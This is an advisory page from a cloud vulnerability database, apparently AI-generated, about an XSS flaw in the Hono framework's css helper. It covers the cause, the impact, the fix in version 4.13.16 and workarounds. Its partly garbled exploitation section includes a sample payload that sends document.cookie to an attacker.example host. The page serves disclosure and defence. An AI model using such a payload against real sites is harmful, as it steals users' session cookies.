
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-126359 is a Cross-Site Scripting (XSS) vulnerability in the css helper of the Hono web application framework (hono/css) that allows HTML injection during server-side rendering. The flaw affects Hono versions >= 3.12.0 and <= 4.13.15 (npm package hono). It was originally published on November 1, 2026 by maintainer yusukebe and added to the GitHub Advisory Database on November 12, 2026. The vulnerability carries a CVSS v3.1 base score of 3.4 (Low) (Github Advisory, Hono Release).
The root cause (CWE-79) lies in how the css template helper in hono/css escapes interpolated string values individually before joining them with surrounding template text. The escape logic checks for </ only within each value in isolation, so it cannot detect a < that appears at the end of the template literal or a preceding interpolated value when the next attacker-controlled value begins with /style>. After CSS minification, the combined output can produce an unescaped </style> closing tag, terminating the <Style /> element prematurely and causing the remainder of the interpolated content to be parsed as HTML by the browser. The fix, applied in commit 15bbd96, moves the closing-tag escape step to after minification by replacing all </ occurrences with <\/ in the final output string (Github Advisory, Fix Commit).
Successful exploitation allows an attacker who controls an interpolated value in a css template to inject arbitrary HTML or JavaScript into server-rendered pages, potentially executing attacker-controlled scripts in the browsers of users who view the affected page. This can lead to session hijacking, credential theft, or exfiltration of sensitive information accessible to the page. Availability and integrity of the server itself are not directly impacted; the scope is limited to the confidentiality of data accessible in the victim's browser context (Github Advisory).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability requires high attack complexity — the attacker must control a string interpolated immediately after a < character in a css template — and user interaction is required (a victim must view the rendered page). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Github Advisory).
hono/css versions >= 3.12.0 and <= 4.13.15 that passes user-controlled input into a css template literal.css template immediately after a < character — either in the template itself (e.g., css\content: '<${userInput}'`) or via two adjacent interpolations (e.g., css`content: '${prefix}${name}'`` where both are attacker-controlled)./style> followed by arbitrary HTML or script, for example: /style><script>document.location='https://attacker.example/steal?c='+document.cookie</script>.<style ...>.class{content:'<\/style><script>...</script>'}</style> — but without the escape, the </style> closes the element early.Upgrade the hono npm package to version 4.13.16 or later, which escapes closing tags after CSS minification to prevent the injection (Hono Release). As a workaround for applications that cannot immediately upgrade, avoid interpolating untrusted values into css templates, or ensure that the template text immediately before any interpolation does not end with <. Implementing a strict Content Security Policy (CSP) header can also reduce the impact of any successful XSS injection (Github Advisory).
The advisory was published by Hono maintainer yusukebe and included as part of a broader v4.13.16 security release that addressed five separate vulnerabilities. The release notes explicitly encouraged users relying on the css helper with untrusted values to upgrade (Hono Release). No significant independent researcher commentary or notable media coverage has been identified for this specific CVE.
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."